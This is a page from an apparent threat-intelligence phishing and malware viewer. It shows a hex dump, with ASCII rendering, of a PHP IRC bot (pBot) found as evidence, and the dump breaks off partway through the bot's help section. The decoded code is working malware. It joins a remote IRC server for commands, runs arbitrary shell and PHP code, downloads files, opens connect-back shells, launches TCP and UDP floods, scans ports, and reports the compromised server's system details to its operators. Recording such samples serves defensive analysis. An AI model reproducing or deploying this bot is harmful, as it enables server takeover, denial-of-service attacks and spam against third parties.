CLEAN MX realtime database
safe Phish viewer

hex view of evidence ...
0: 3C3F200D0A0D0A2F2A0D0A202A0D0A202A202023696E6461682040206972632E          <? /* * * #indah @ irc.
32: 6A6176616972632E6F72672073696E636520323031300D0A202A20206D616C69          javairc.org since 2 1  * mali
64: 6E6B2E75732E746F200D0A202A0D0A202A2020434F4D4D414E44533A0D0A202A          nk.us.to * * COMMANDS: *
96: 0D0A202A20202E63696B203C70617373776F72643E202F2F6C6F67696E20746F          * .cik <password> //login to
128: 2074686520626F740D0A202A20202E6C6F676F7574202F2F6C6F676F7574206F          the bot * .logout //logout o
160: 662074686520626F740D0A202A20202E646965202F2F6B696C6C207468652062          f the bot * .die //kill the b
192: 6F740D0A202A20202E72657374617274202F2F72657374617274207468652062          ot * .restart //restart the b
224: 6F740D0A202A20202E6D61696C203C746F3E203C66726F6D3E203C7375626A65          ot * .mail <to> <from> <subje
256: 63743E203C6D73673E202F2F73656E6420616E20656D61696C0D0A202A20202E          ct> <msg> //send an email * .
288: 646E73203C49507C484F53543E202F2F646E73206C6F6F6B75700D0A202A2020          dns <IP|HOST> //dns lookup *
320: 2E646F776E6C6F6164203C55524C3E203C66696C656E616D653E202F2F646F77          .download <URL> <filename> //dow
352: 6E6C6F616420612066696C650D0A202A20202E65786563203C636D643E202F2F          nload a file * .exec <cmd> //
384: 207573657320657865632829202F2F65786563757465206120636F6D6D616E64          uses exec() //execute a command
416: 0D0A202A20202E7365786563203C636D643E202F2F2075736573207368656C6C          * .sexec <cmd> // uses shell
448: 5F657865632829202F2F65786563757465206120636F6D6D616E640D0A202A20          _exec() //execute a command *
480: 202E636D64203C636D643E202F2F207573657320706F70656E2829202F2F6578          .cmd <cmd> // uses popen() //ex
512: 6563757465206120636F6D6D616E640D0A202A20202E696E666F202F2F676574          ecute a command * .info //get
544: 2073797374656D20696E666F726D6174696F6E0D0A202A20202E68656C70202F          system information * .help /
576: 2F68656C7020636F6D6D6D616E640D0A202A20202E706870203C70687020636F          /help commmand * .php <php co
608: 64653E202F2F2075736573206576616C2829202F2F6578656375746520706870          de> // uses eval() //execute php
640: 20636F64650D0A202A20202E746370666C6F6F64203C7461726765743E203C70          code * .tcpflood <target> <p
672: 61636B6574733E203C7061636B657473697A653E203C706F72743E203C64656C          ackets> <packetsize> <port> <del
704: 61793E202F2F746370666C6F6F642061747461636B0D0A202A20202E75647066          ay> //tcpflood attack * .udpf
736: 6C6F6F64203C7461726765743E203C7061636B6574733E203C7061636B657473          lood <target> <packets> <packets
768: 697A653E203C64656C61793E202F2F756470666C6F6F642061747461636B0D0A          ize> <delay> //udpflood attack
800: 202A20202E726177203C636D643E202F2F7261772049524320636F6D6D616E64          * .raw <cmd> //raw IRC command
832: 0D0A202A20202E726E646E69636B202F2F6368616E6765206E69636B6E616D65          * .rndnick //change nickname
864: 0D0A202A20202E707363616E203C686F73743E203C706F72743E202F2F706F72          * .pscan <host> <port> //por
896: 74207363616E0D0A202A20202E7361666520202F2F207465737420736166655F          t scan * .safe // test safe_
928: 6D6F6465202864766C290D0A202A20202E696E626F78203C746F3E202F2F2074          mode (dvl) * .inbox <to> // t
960: 65737420696E626F78202864766C290D0A202A20202E636F6E6261636B203C69          est inbox (dvl) * .conback <i
992: 703E203C706F72743E202F2F20636F6E656374206261636B202864766C290D0A          p> <port> // conect back (dvl)
1024: 202A20202E756E616D65202F2F2072657475726E207368656C6C277320756E61          * .uname // return shell's una
1056: 6D65207573696E672061207068702066756E6374696F6E202864766C290D0A20          me using a php function (dvl)
1088: 2A0D0A202A2F0D0A0D0A7365745F74696D655F6C696D69742830293B200D0A65          * */ set_time_limit( ); e
1120: 72726F725F7265706F7274696E672830293B200D0A6563686F20226F6B21223B          rror_reporting( ); echo "ok!";
1152: 0D0A0D0A636C6173732070426F74200D0A7B200D0A207661722024636F6E6669          class pBot { var $confi
1184: 67203D2061727261792822736572766572223D3E226972632E6A617661697263          g = array("server"=>"irc.javairc
1216: 2E6F7267222C0D0A20202020202020202020202020202020202020202022706F          .org", "po
1248: 7274223D3E2237303030222C0D0A202020202020202020202020202020202020          rt"=>"7   ",
1280: 2020202270617373223D3E22222C0D0A20202020202020202020202020202020          "pass"=>"",
1312: 202020202022707265666978223D3E226D657972696E222C0D0A202020202020          "prefix"=>"meyrin",
1344: 202020202020202020202020202020226D617872616E64223D3E2235222C0D0A          "maxrand"=>"5",
1376: 202020202020202020202020202020202020202020226368616E223D3E22236A          "chan"=>"#j
1408: 617661222C0D0A20202020202020202020202020202020202020202022636861          ava", "cha
1440: 6E32223D3E22236A617661222C0D0A2020202020202020202020202020202020          n2"=>"#java",
1472: 20202020226B6579223D3E226A617661222C0D0A202020202020202020202020          "key"=>"java",
1504: 202020202020202020226D6F646573223D3E222B7073222C0D0A202020202020          "modes"=>"+ps",
1536: 2020202020202020202020202020202270617373776F7264223D3E22636F6B22          "password"=>"cok"
1568: 2C0D0A2020202020202020202020202020202020202020202274726967676572          , "trigger
1600: 223D3E222E222C0D0A2020202020202020202020202020202020202020202268          "=>".", "h
1632: 6F737461757468223D3E222A22202F2F202A20666F7220616E7920686F73746E          ostauth"=>"*" // * for any hostn
1664: 616D65202872656D656D6265723A202F73657476686F73742078646576696C2E          ame (remember: /setvhost xdevil.
1696: 6F7267290D0A202020202020202020202020202020202020202020293B0D0A20          org) );
1728: 76617220247573657273203D20617272617928293B200D0A2066756E6374696F          var $users = array(); functio
1760: 6E2073746172742829200D0A207B200D0A20202020696628212824746869732D          n start() { if(!($this-
1792: 3E636F6E6E203D2066736F636B6F70656E2824746869732D3E636F6E6669675B          >conn = fsockopen($this->config[
1824: 27736572766572275D2C24746869732D3E636F6E6669675B27706F7274275D2C          'server'],$this->config['port'],
1856: 24652C24732C3330292929200D0A2020202020202024746869732D3E73746172          $e,$s,3 ))) $this->star
1888: 7428293B200D0A20202020246964656E74203D2024746869732D3E636F6E6669          t(); $ident = $this->confi
1920: 675B27707265666978275D3B0D0A2020202024616C7068203D2072616E676528          g['prefix']; $alph = range(
1952: 2230222C223922293B0D0A20202020666F722824693D303B24693C2474686973          " ","9"); for($i= ;$i<$this
1984: 2D3E636F6E6669675B276D617872616E64275D3B24692B2B29200D0A20202020          ->config['maxrand'];$i++)
2016: 202020246964656E74202E3D2024616C70685B72616E6428302C39295D3B0D0A          $ident .= $alph[rand( ,9)];
2048: 202020206966287374726C656E2824746869732D3E636F6E6669675B27706173          if(strlen($this->config['pas
2080: 73275D293E3029200D0A2020202020202024746869732D3E73656E6428225041          s'])> ) $this->send("PA
2112: 535320222E24746869732D3E636F6E6669675B2770617373275D293B0D0A2020          SS ".$this->config['pass']);
2144: 202024746869732D3E73656E6428225553455220222E246964656E742E222031          $this->send("USER ".$ident." 1
2176: 32372E302E302E31206C6F63616C686F7374203A222E7068705F756E616D6528          27. . .1 localhost :".php_uname(
2208: 292E2222293B0D0A2020202024746869732D3E7365745F6E69636B28293B0D0A          ).""); $this->set_nick();
2240: 2020202024746869732D3E6D61696E28293B0D0A207D200D0A2066756E637469          $this->main(); } functi
2272: 6F6E206D61696E2829200D0A207B200D0A202020207768696C65282166656F66          on main() { while(!feof
2304: 2824746869732D3E636F6E6E2929200D0A202020207B200D0A20202020202020          ($this->conn)) {
2336: 24746869732D3E627566203D207472696D2866676574732824746869732D3E63          $this->buf = trim(fgets($this->c
2368: 6F6E6E2C35313229293B200D0A2020202020202024636D64203D206578706C6F          onn,512)); $cmd = explo
2400: 6465282220222C24746869732D3E627566293B200D0A20202020202020696628          de(" ",$this->buf); if(
2432: 7375627374722824746869732D3E6275662C302C36293D3D2250494E47203A22          substr($this->buf, ,6)=="PING :"
2464: 29200D0A202020202020207B200D0A2020202020202020202024746869732D3E          ) { $this->
2496: 73656E642822504F4E47203A222E7375627374722824746869732D3E6275662C          send("PONG :".substr($this->buf,
2528: 3629293B200D0A202020202020207D200D0A2020202020202069662869737365          6)); } if(isse
2560: 742824636D645B315D292026262024636D645B315D203D3D223030312229200D          t($cmd[1]) && $cmd[1] =="  1")
2592: 0A202020202020207B200D0A2020202020202020202024746869732D3E73656E          { $this->sen
2624: 6428224D4F444520222E24746869732D3E6E69636B2E2220222E24746869732D          d("MODE ".$this->nick." ".$this-
2656: 3E636F6E6669675B276D6F646573275D293B200D0A2020202020202020202024          >config['modes']); $
2688: 746869732D3E6A6F696E2824746869732D3E636F6E6669675B276368616E275D          this->join($this->config['chan']
2720: 2C24746869732D3E636F6E6669675B276B6579275D293B0D0A20202020202020          ,$this->config['key']);
2752: 2020206966202840696E695F6765742822736166655F6D6F64652229206F7220          if (@ini_get("safe_mode") or
2784: 737472746F6C6F7765722840696E695F6765742822736166655F6D6F64652229          strtolower(@ini_get("safe_mode")
2816: 29203D3D20226F6E2229207B2024736166656D6F6465203D20226F6E223B207D          ) == "on") { $safemode = "on"; }
2848: 0D0A20202020202020202020656C7365207B2024736166656D6F6465203D2022          else { $safemode = "
2880: 6F6666223B207D0D0A2020202020202020202024756E616D65203D207068705F          off"; } $uname = php_
2912: 756E616D6528293B0D0A2020202020202020202024746869732D3E707269766D          uname(); $this->privm
2944: 73672824746869732D3E636F6E6669675B276368616E32275D2C225B5C32756E          sg($this->config['chan2'],"[\2un
2976: 616D65215C325D3A2024756E616D652028736166653A2024736166656D6F6465          ame!\2]: $uname (safe: $safemode
3008: 2922293B0D0A2020202020202020202024746869732D3E707269766D73672824          )"); $this->privmsg($
3040: 746869732D3E636F6E6669675B276368616E32275D2C225B5C3276756C6E215C          this->config['chan2'],"[\2vuln!\
3072: 325D3A20616E64612062656C756D20626572756E74756E6722293B0D0A202020          2]: anda belum beruntung");
3104: 202020207D200D0A2020202020202069662869737365742824636D645B315D29          } if(isset($cmd[1])
3136: 2026262024636D645B315D3D3D223433332229200D0A202020202020207B200D          && $cmd[1]=="433") {
3168: 0A2020202020202020202024746869732D3E7365745F6E69636B28293B200D0A          $this->set_nick();
3200: 202020202020207D200D0A2020202020202069662824746869732D3E62756620          } if($this->buf
3232: 213D20246F6C645F62756629200D0A202020202020207B200D0A202020202020          != $old_buf) {
3264: 20202020246D636D64203D20617272617928293B200D0A202020202020202020          $mcmd = array();
3296: 20246D7367203D20737562737472287374727374722824746869732D3E627566          $msg = substr(strstr($this->buf
3328: 2C22203A22292C32293B200D0A20202020202020202020246D7367636D64203D          ," :"),2); $msgcmd =
3360: 206578706C6F6465282220222C246D7367293B200D0A20202020202020202020          explode(" ",$msg);
3392: 246E69636B203D206578706C6F6465282221222C24636D645B305D293B200D0A          $nick = explode("!",$cmd[ ]);
3424: 202020202020202020202476686F7374203D206578706C6F6465282240222C24          $vhost = explode("@",$
3456: 6E69636B5B315D293B200D0A202020202020202020202476686F7374203D2024          nick[1]); $vhost = $
3488: 76686F73745B315D3B200D0A20202020202020202020246E69636B203D207375          vhost[1]; $nick = su
3520: 6273747228246E69636B5B305D2C31293B200D0A202020202020202020202468          bstr($nick[ ],1); $h
3552: 6F7374203D2024636D645B305D3B200D0A20202020202020202020696628246D          ost = $cmd[ ]; if($m
3584: 7367636D645B305D3D3D24746869732D3E6E69636B29200D0A20202020202020          sgcmd[ ]==$this->nick)
3616: 2020207B200D0A2020202020202020202020666F722824693D303B24693C636F          { for($i= ;$i<co
3648: 756E7428246D7367636D64293B24692B2B29200D0A2020202020202020202020          unt($msgcmd);$i++)
3680: 202020246D636D645B24695D203D20246D7367636D645B24692B315D3B200D0A          $mcmd[$i] = $msgcmd[$i+1];
3712: 202020202020202020207D200D0A20202020202020202020656C7365200D0A20          } else
3744: 2020202020202020207B200D0A2020202020202020202020666F722824693D30          { for($i= 
3776: 3B24693C636F756E7428246D7367636D64293B24692B2B29200D0A2020202020          ;$i<count($msgcmd);$i++)
3808: 202020202020202020246D636D645B24695D203D20246D7367636D645B24695D          $mcmd[$i] = $msgcmd[$i]
3840: 3B200D0A202020202020202020207D200D0A2020202020202020202069662863          ; } if(c
3872: 6F756E742824636D64293E3229200D0A202020202020202020207B200D0A2020          ount($cmd)>2) {
3904: 20202020202020202020207377697463682824636D645B315D29200D0A202020          switch($cmd[1])
3936: 202020202020202020207B200D0A202020202020202020202020202020206361          { ca
3968: 7365202251554954223A200D0A20202020202020202020202020202020202020          se "QUIT":
4000: 69662824746869732D3E69735F6C6F676765645F696E2824686F73742929200D          if($this->is_logged_in($host))
4032: 0A202020202020202020202020202020202020207B200D0A2020202020202020          {
4064: 202020202020202020202020202024746869732D3E6C6F675F6F75742824686F          $this->log_out($ho
4096: 7374293B200D0A202020202020202020202020202020202020207D200D0A2020          st); }
4128: 2020202020202020202020202020627265616B3B200D0A202020202020202020          break;
4160: 2020202020202063617365202250415254223A200D0A20202020202020202020          case "PART":
4192: 20202020202020202069662824746869732D3E69735F6C6F676765645F696E28          if($this->is_logged_in(
4224: 24686F73742929200D0A202020202020202020202020202020202020207B200D          $host)) {
4256: 0A2020202020202020202020202020202020202020202024746869732D3E6C6F          $this->lo
4288: 675F6F75742824686F7374293B200D0A20202020202020202020202020202020          g_out($host);
4320: 2020207D200D0A20202020202020202020202020202020627265616B3B200D0A          } break;
4352: 20202020202020202020202020202020636173652022505249564D5347223A20          case "PRIVMSG":
4384: 0D0A202020202020202020202020202020202020206966282124746869732D3E          if(!$this->
4416: 69735F6C6F676765645F696E2824686F73742920262620282476686F7374203D          is_logged_in($host) && ($vhost =
4448: 3D2024746869732D3E636F6E6669675B27686F737461757468275D207C7C2024          = $this->config['hostauth'] || $
4480: 746869732D3E636F6E6669675B27686F737461757468275D203D3D20222A2229          this->config['hostauth'] == "*")
4512: 29200D0A202020202020202020202020202020202020207B200D0A2020202020          ) {
4544: 202020202020202020202020202020202069662873756273747228246D636D64          if(substr($mcmd
4576: 5B305D2C302C31293D3D222E2229200D0A202020202020202020202020202020          [ ], ,1)==".")
4608: 202020202020207B200D0A202020202020202020202020202020202020202020          {
4640: 202020207377697463682873756273747228246D636D645B305D2C312929200D          switch(substr($mcmd[ ],1))
4672: 0A202020202020202020202020202020202020202020202020207B200D0A2020          {
4704: 2020202020202020202020202020202020202020202020202020636173652022          case "
4736: 63696B223A200D0A202020202020202020202020202020202020202020202020          cik":
4768: 202020202020696628246D636D645B315D3D3D24746869732D3E636F6E666967          if($mcmd[1]==$this->config
4800: 5B2770617373776F7264275D29200D0A20202020202020202020202020202020          ['password'])
4832: 20202020202020202020202020207B200D0A2020202020202020202020202020          {
4864: 2020202020202020202020202020202020202024746869732D3E707269766D73          $this->privms
4896: 672824746869732D3E636F6E6669675B276368616E275D2C225B5C3241757468          g($this->config['chan'],"[\2Auth
4928: 5C325D3A20476F20546F2048656C6C20246E69636B20212122293B200D0A2020          \2]: Go To Hell $nick !!");
4960: 2020202020202020202020202020202020202020202020202020202020202024          $
4992: 746869732D3E6C6F675F696E2824686F7374293B200D0A202020202020202020          this->log_in($host);
5024: 2020202020202020202020202020202020202020207D200D0A20202020202020          }
5056: 2020202020202020202020202020202020202020202020656C7365200D0A2020          else
5088: 202020202020202020202020202020202020202020202020202020207B200D0A          {
5120: 2020202020202020202020202020202020202020202020202020202020202020         
5152: 2024746869732D3E707269766D73672824746869732D3E636F6E6669675B2763          $this->privmsg($this->config['c
5184: 68616E275D2C225B5C32417574685C325D3A206173656D20246E69636B20206A          han'],"[\2Auth\2]: asem $nick j
5216: 616E636F6B2E2E2E206461736172206D616C696E67206C752E2E2E2122293B20          ancok... dasar maling lu...!");
5248: 0D0A202020202020202020202020202020202020202020202020202020202020         
5280: 7D200D0A20202020202020202020202020202020202020202020202020202020          }
5312: 627265616B3B200D0A2020202020202020202020202020202020202020202020          break;
5344: 20207D200D0A202020202020202020202020202020202020202020207D200D0A          } }
5376: 202020202020202020202020202020202020207D200D0A202020202020202020          }
5408: 20202020202020202020656C736569662824746869732D3E69735F6C6F676765          elseif($this->is_logge
5440: 645F696E2824686F73742929200D0A2020202020202020202020202020202020          d_in($host))
5472: 20207B200D0A2020202020202020202020202020202020202020202069662873          { if(s
5504: 756273747228246D636D645B305D2C302C31293D3D222E2229200D0A20202020          ubstr($mcmd[ ], ,1)==".")
5536: 2020202020202020202020202020202020207B200D0A20202020202020202020          {
5568: 2020202020202020202020202020207377697463682873756273747228246D63          switch(substr($mc
5600: 6D645B305D2C312929200D0A2020202020202020202020202020202020202020          md[ ],1))
5632: 20202020207B200D0A2020202020202020202020202020202020202020202020          {
5664: 202020202063617365202272657374617274223A200D0A202020202020202020          case "restart":
5696: 2020202020202020202020202020202020202020202024746869732D3E73656E          $this->sen
5728: 64282251554954203A7265737461727420636F6D6D616E646F2066726F6D2024          d("QUIT :restart commando from $
5760: 6E69636B22293B0D0A2020202020202020202020202020202020202020202020          nick");
5792: 202020202020202066636C6F73652824746869732D3E636F6E6E293B200D0A20          fclose($this->conn);
5824: 2020202020202020202020202020202020202020202020202020202020202474          $t
5856: 6869732D3E737461727428293B200D0A20202020202020202020202020202020          his->start();
5888: 202020202020202020202020627265616B3B200D0A2020202020202020202020          break;
5920: 20202020202020202020202020202020206361736520226D61696C223A202F2F          case "mail": //
5952: 6D61696C20746F2066726F6D207375626A656374206D657373616765200D0A20          mail to from subject message
5984: 2020202020202020202020202020202020202020202020202020202020206966          if
6016: 28636F756E7428246D636D64293E3429200D0A20202020202020202020202020          (count($mcmd)>4)
6048: 2020202020202020202020202020202020207B200D0A20202020202020202020          {
6080: 2020202020202020202020202020202020202020202020202468656164657220          $header
6112: 3D202246726F6D3A203C222E246D636D645B325D2E223E223B200D0A20202020          = "From: <".$mcmd[2].">";
6144: 2020202020202020202020202020202020202020202020202020202020206966          if
6176: 28216D61696C28246D636D645B315D2C246D636D645B335D2C73747273747228          (!mail($mcmd[1],$mcmd[3],strstr(
6208: 246D73672C246D636D645B345D292C246865616465722929200D0A2020202020          $msg,$mcmd[4]),$header))
6240: 20202020202020202020202020202020202020202020202020202020207B200D          {
6272: 0A20202020202020202020202020202020202020202020202020202020202020         
6304: 20202020202024746869732D3E707269766D73672824746869732D3E636F6E66          $this->privmsg($this->conf
6336: 69675B276368616E275D2C225B5C326D61696C5C325D3A20496D706F73736976          ig['chan'],"[\2mail\2]: Impossiv
6368: 656C206D616E64617220652D6D61696C2E22293B0D0A20202020202020202020          el mandar e-mail.");
6400: 2020202020202020202020202020202020202020202020207D200D0A20202020          }
6432: 202020202020202020202020202020202020202020202020202020202020656C          el
6464: 7365200D0A202020202020202020202020202020202020202020202020202020          se
6496: 202020202020207B200D0A202020202020202020202020202020202020202020          {
6528: 2020202020202020202020202020202024746869732D3E707269766D73672824          $this->privmsg($
6560: 746869732D3E636F6E6669675B276368616E275D2C225B5C326D61696C5C325D          this->config['chan'],"[\2mail\2]
6592: 3A204D656E736167656D20656E76696164612070617261205C32222E246D636D          : Mensagem enviada para \2".$mcm
6624: 645B315D2E225C3222293B200D0A202020202020202020202020202020202020          d[1]."\2");
6656: 202020202020202020202020202020207D200D0A202020202020202020202020          }
6688: 202020202020202020202020202020202020207D200D0A202020202020202020          }
6720: 20202020202020202020202020202020202020627265616B3B0D0A2020202020          break;
6752: 2020202020202020202020202020202020202020202020636173652022736166          case "saf
6784: 65223A0D0A202020202020202020202020202020202020202020202020202020          e":
6816: 202020206966202840696E695F6765742822736166655F6D6F64652229206F72          if (@ini_get("safe_mode") or
6848: 20737472746F6C6F7765722840696E695F6765742822736166655F6D6F646522          strtolower(@ini_get("safe_mode"
6880: 2929203D3D20226F6E22290D0A20202020202020202020202020202020202020          )) == "on")
6912: 2020202020202020202020207B0D0A2020202020202020202020202020202020          {
6944: 202020202020202020202020202024736166656D6F6465203D20226F6E223B0D          $safemode = "on";
6976: 0A20202020202020202020202020202020202020202020202020202020202020         
7008: 7D0D0A2020202020202020202020202020202020202020202020202020202020          }
7040: 2020656C7365207B0D0A20202020202020202020202020202020202020202020          else {
7072: 20202020202020202024736166656D6F6465203D20226F6666223B0D0A202020          $safemode = "off";
7104: 202020202020202020202020202020202020202020202020202020207D0D0A20          }
7136: 2020202020202020202020202020202020202020202020202020202020202474          $t
7168: 6869732D3E707269766D73672824746869732D3E636F6E6669675B276368616E          his->privmsg($this->config['chan
7200: 275D2C225B5C3273616665206D6F64655C325D3A20222E24736166656D6F6465          '],"[\2safe mode\2]: ".$safemode
7232: 2E2222293B0D0A20202020202020202020202020202020202020202020202020          ."");
7264: 202020627265616B3B0D0A202020202020202020202020202020202020202020          break;
7296: 20202020202020636173652022696E626F78223A202F2F746573746520696E62          case "inbox": //teste inb
7328: 6F780D0A20202020202020202020202020202020202020202020202020202020          ox
7360: 202020696628697373657428246D636D645B315D29290D0A2020202020202020          if(isset($mcmd[1]))
7392: 20202020202020202020202020202020202020202020207B0D0A202020202020          {
7424: 2020202020202020202020202020202020202020202020202020202024746F6B          $tok
7456: 656E203D206D643528756E697169642872616E6428292C207472756529293B0D          en = md5(uniqid(rand(), true));
7488: 0A20202020202020202020202020202020202020202020202020202020202020         
7520: 20202024686561646572203D202246726F6D3A203C696E626F78222E24746F6B          $header = "From: <inbox".$tok
7552: 656E2E224078646576696C2E6F72673E223B0D0A202020202020202020202020          en."@xdevil.org>";
7584: 202020202020202020202020202020202020202020202461203D207068705F75          $a = php_u
7616: 6E616D6528293B0D0A2020202020202020202020202020202020202020202020          name();
7648: 20202020202020202020202462203D20676574656E7628225345525645525F53          $b = getenv("SERVER_S
7680: 4F46545741524522293B0D0A2020202020202020202020202020202020202020          OFTWARE");
7712: 20202020202020202020202020202463203D20676574686F737462796E616D65          $c = gethostbyname
7744: 28245F5345525645525B22485454505F484F5354225D293B0D0A202020202020          ($_SERVER["HTTP_HOST"]);
7776: 2020202020202020202020202020202020202020202020202020202069662821          if(!
7808: 6D61696C28246D636D645B315D2C22496E426F782054657374222C2223637265          mail($mcmd[1],"InBox Test","#cre
7840: 7740636F72702E2073696E636520323030335C6E5C6E69703A202463205C6E73          w@corp. since 2  3\n\nip: $c \ns
7872: 6F6674776172653A202462205C6E73797374656D3A202461205C6E76756C6E3A          oftware: $b \nsystem: $a \nvuln:
7904: 20687474703A2F2F222E245F5345525645525B275345525645525F4E414D4527          http://".$_SERVER['SERVER_NAME'
7936: 5D2E22222E245F5345525645525B27524551554553545F555249275D2E225C6E          ]."".$_SERVER['REQUEST_URI']."\n
7968: 5C6E67726565747A3A207769636B65645C6E62793A2064766C203C61646D696E          \ngreetz: wicked\nby: dvl <admin
8000: 4078646576696C2E6F72673E222C2468656164657229290D0A20202020202020          @xdevil.org>",$header))
8032: 2020202020202020202020202020202020202020202020202020207B0D0A2020          {
8064: 2020202020202020202020202020202020202020202020202020202020202020         
8096: 20202024746869732D3E707269766D73672824746869732D3E636F6E6669675B          $this->privmsg($this->config[
8128: 276368616E275D2C225B5C32696E626F785C325D3A20556E61626C6520746F20          'chan'],"[\2inbox\2]: Unable to
8160: 73656E6422293B0D0A2020202020202020202020202020202020202020202020          send");
8192: 20202020202020202020207D0D0A202020202020202020202020202020202020          }
8224: 20202020202020202020202020202020656C73650D0A20202020202020202020          else
8256: 2020202020202020202020202020202020202020202020207B0D0A2020202020          {
8288: 2020202020202020202020202020202020202020202020202020202020202020         
8320: 24746869732D3E707269766D73672824746869732D3E636F6E6669675B276368          $this->privmsg($this->config['ch
8352: 616E275D2C225B5C32696E626F785C325D3A204D6573736167652073656E7420          an'],"[\2inbox\2]: Message sent
8384: 746F205C32222E246D636D645B315D2E225C3222293B0D0A2020202020202020          to \2".$mcmd[1]."\2");
8416: 20202020202020202020202020202020202020202020202020207D0D0A202020          }
8448: 202020202020202020202020202020202020202020202020202020207D0D0A20          }
8480: 202020202020202020202020202020202020202020202020202020627265616B          break
8512: 3B0D0A2020202020202020202020202020202020202020202020202020202063          ; c
8544: 6173652022636F6E6261636B223A0D0A20202020202020202020202020202020          ase "conback":
8576: 202020202020202020202020202020696628636F756E7428246D636D64293E32          if(count($mcmd)>2
8608: 290D0A2020202020202020202020202020202020202020202020202020202020          )
8640: 20207B0D0A202020202020202020202020202020202020202020202020202020          {
8672: 2020202020202024746869732D3E636F6E6261636B28246D636D645B315D2C24          $this->conback($mcmd[1],$
8704: 6D636D645B325D293B0D0A202020202020202020202020202020202020202020          mcmd[2]);
8736: 202020202020202020207D0D0A20202020202020202020202020202020202020          }
8768: 202020202020202020627265616B3B0D0A202020202020202020202020202020          break;
8800: 20202020202020202020202020636173652022646E73223A200D0A2020202020          case "dns":
8832: 2020202020202020202020202020202020202020202020202020696628697373          if(iss
8864: 657428246D636D645B315D2929200D0A20202020202020202020202020202020          et($mcmd[1]))
8896: 2020202020202020202020202020207B200D0A20202020202020202020202020          {
8928: 202020202020202020202020202020202020202020246970203D206578706C6F          $ip = explo
8960: 646528222E222C246D636D645B315D293B200D0A202020202020202020202020          de(".",$mcmd[1]);
8992: 20202020202020202020202020202020202020202020696628636F756E742824          if(count($
9024: 6970293D3D342026262069735F6E756D65726963282469705B305D2920262620          ip)==4 && is_numeric($ip[ ]) &&
9056: 69735F6E756D65726963282469705B315D292026262069735F6E756D65726963          is_numeric($ip[1]) && is_numeric
9088: 282469705B325D292026262069735F6E756D65726963282469705B335D292920          ($ip[2]) && is_numeric($ip[3]))
9120: 0D0A202020202020202020202020202020202020202020202020202020202020         
9152: 202020207B200D0A202020202020202020202020202020202020202020202020          {
9184: 2020202020202020202020202024746869732D3E707269766D73672824746869          $this->privmsg($thi
9216: 732D3E636F6E6669675B276368616E275D2C225B5C32646E735C325D3A20222E          s->config['chan'],"[\2dns\2]: ".
9248: 246D636D645B315D2E22203D3E20222E676574686F737462796164647228246D          $mcmd[1]." => ".gethostbyaddr($m
9280: 636D645B315D29293B200D0A2020202020202020202020202020202020202020          cmd[1]));
9312: 20202020202020202020202020207D200D0A2020202020202020202020202020          }
9344: 2020202020202020202020202020202020202020656C7365200D0A2020202020          else
9376: 20202020202020202020202020202020202020202020202020202020207B200D          {
9408: 0A20202020202020202020202020202020202020202020202020202020202020         
9440: 20202020202024746869732D3E707269766D73672824746869732D3E636F6E66          $this->privmsg($this->conf
9472: 69675B276368616E275D2C225B5C32646E735C325D3A20222E246D636D645B31          ig['chan'],"[\2dns\2]: ".$mcmd[1
9504: 5D2E22203D3E20222E676574686F737462796E616D6528246D636D645B315D29          ]." => ".gethostbyname($mcmd[1])
9536: 293B200D0A202020202020202020202020202020202020202020202020202020          );
9568: 202020202020207D200D0A202020202020202020202020202020202020202020          }
9600: 202020202020202020207D200D0A202020202020202020202020202020202020          }
9632: 20202020202020202020627265616B3B200D0A0909090D0A2020202020202020          break;
9664: 2020202020202020202020202020202063617365202268656C70223A200D0A20          case "help":
9696: 2020202020202020202020202020202020202020202020200909092020202474          $t
9728: 6869732D3E707269766D73672824746869732D3E636F6E6669675B276368616E          his->privmsg($this->config['chan
9760: 275D2C225B5C32636F6D616E642068656C705C325D3A200303372C3128033134          '],"[\2comand help\2]: 7,1(14
9792: 4D03342E0331346103342E0331346C03342E0331346503342E0331346E03342E          M4.14a4.14l4.14e4.14n4.
9824: 03313447033132400331345403342E033134652E0331346103342E0331344D03          14G12@14T4.14e.14a4.14M
9856: 372C312922293B0D0A09090909090920202024746869732D3E707269766D7367          7,1)"); $this->privmsg
9888: 2824746869732D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E          ($this->config['chan'],"[\2coman
9920: 642068656C705C325D3A202E696E666F20756E74756B20696E666F726D617369          d help\2]: .info untuk informasi
9952: 2073697374656D20626F74206265726A616C616E22293B0D0A09090909090920          sistem bot berjalan");
9984: 202024746869732D3E707269766D73672824746869732D3E636F6E6669675B27          $this->privmsg($this->config['
10016: 6368616E275D2C225B5C32636F6D616E642068656C705C325D3A202E756E616D          chan'],"[\2comand help\2]: .unam
10048: 6520756E74756B20696E666F204F7065726174696E672073797374656D22293B          e untuk info Operating system");
10080: 0D0A202020202020202020202020202020202020202020202020200909202020         
10112: 202020202020202024746869732D3E707269766D73672824746869732D3E636F          $this->privmsg($this->co
10144: 6E6669675B276368616E275D2C225B5C32636F6D616E642068656C705C325D3A          nfig['chan'],"[\2comand help\2]:
10176: 202E65786563203C636D643E2020756E74756B20706572696E7461682079616E          .exec <cmd> untuk perintah yan
10208: 67206265726A616C616E20706164612073697374656D204F5320626F7422293B          g berjalan pada sistem OS bot");
10240: 0D0A09090909090920202024746869732D3E707269766D73672824746869732D          $this->privmsg($this-
10272: 3E636F6E6669675B276368616E275D2C225B5C32636F6D616E642068656C705C          >config['chan'],"[\2comand help\
10304: 325D3A202E7365786563203C636D643E20756E74756B20706572696E74616820          2]: .sexec <cmd> untuk perintah
10336: 79616E67206265726A616C616E20706164612073697374656D204F5320626F74          yang berjalan pada sistem OS bot
10368: 22293B0D0A09090909090920202024746869732D3E707269766D736728247468          "); $this->privmsg($th
10400: 69732D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E64206865          is->config['chan'],"[\2comand he
10432: 6C705C325D3A202E636D6420203C636D643E20756E74756B20706572696E7461          lp\2]: .cmd <cmd> untuk perinta
10464: 682079616E67206265726A616C616E20706164612073697374656D204F532062          h yang berjalan pada sistem OS b
10496: 6F7422293B0D0A09090909090920202024746869732D3E707269766D73672824          ot"); $this->privmsg($
10528: 746869732D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E6420          this->config['chan'],"[\2comand
10560: 68656C705C325D3A202E73656E646D61696C203C746F3E203C66726F6D3E203C          help\2]: .sendmail <to> <from> <
10592: 7375626A6563743E203C6D73673E20756E74756B206B6972696D20656D61696C          subject> <msg> untuk kirim email
10624: 22293B0D0A09090909090920202024746869732D3E707269766D736728247468          "); $this->privmsg($th
10656: 69732D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E64206865          is->config['chan'],"[\2comand he
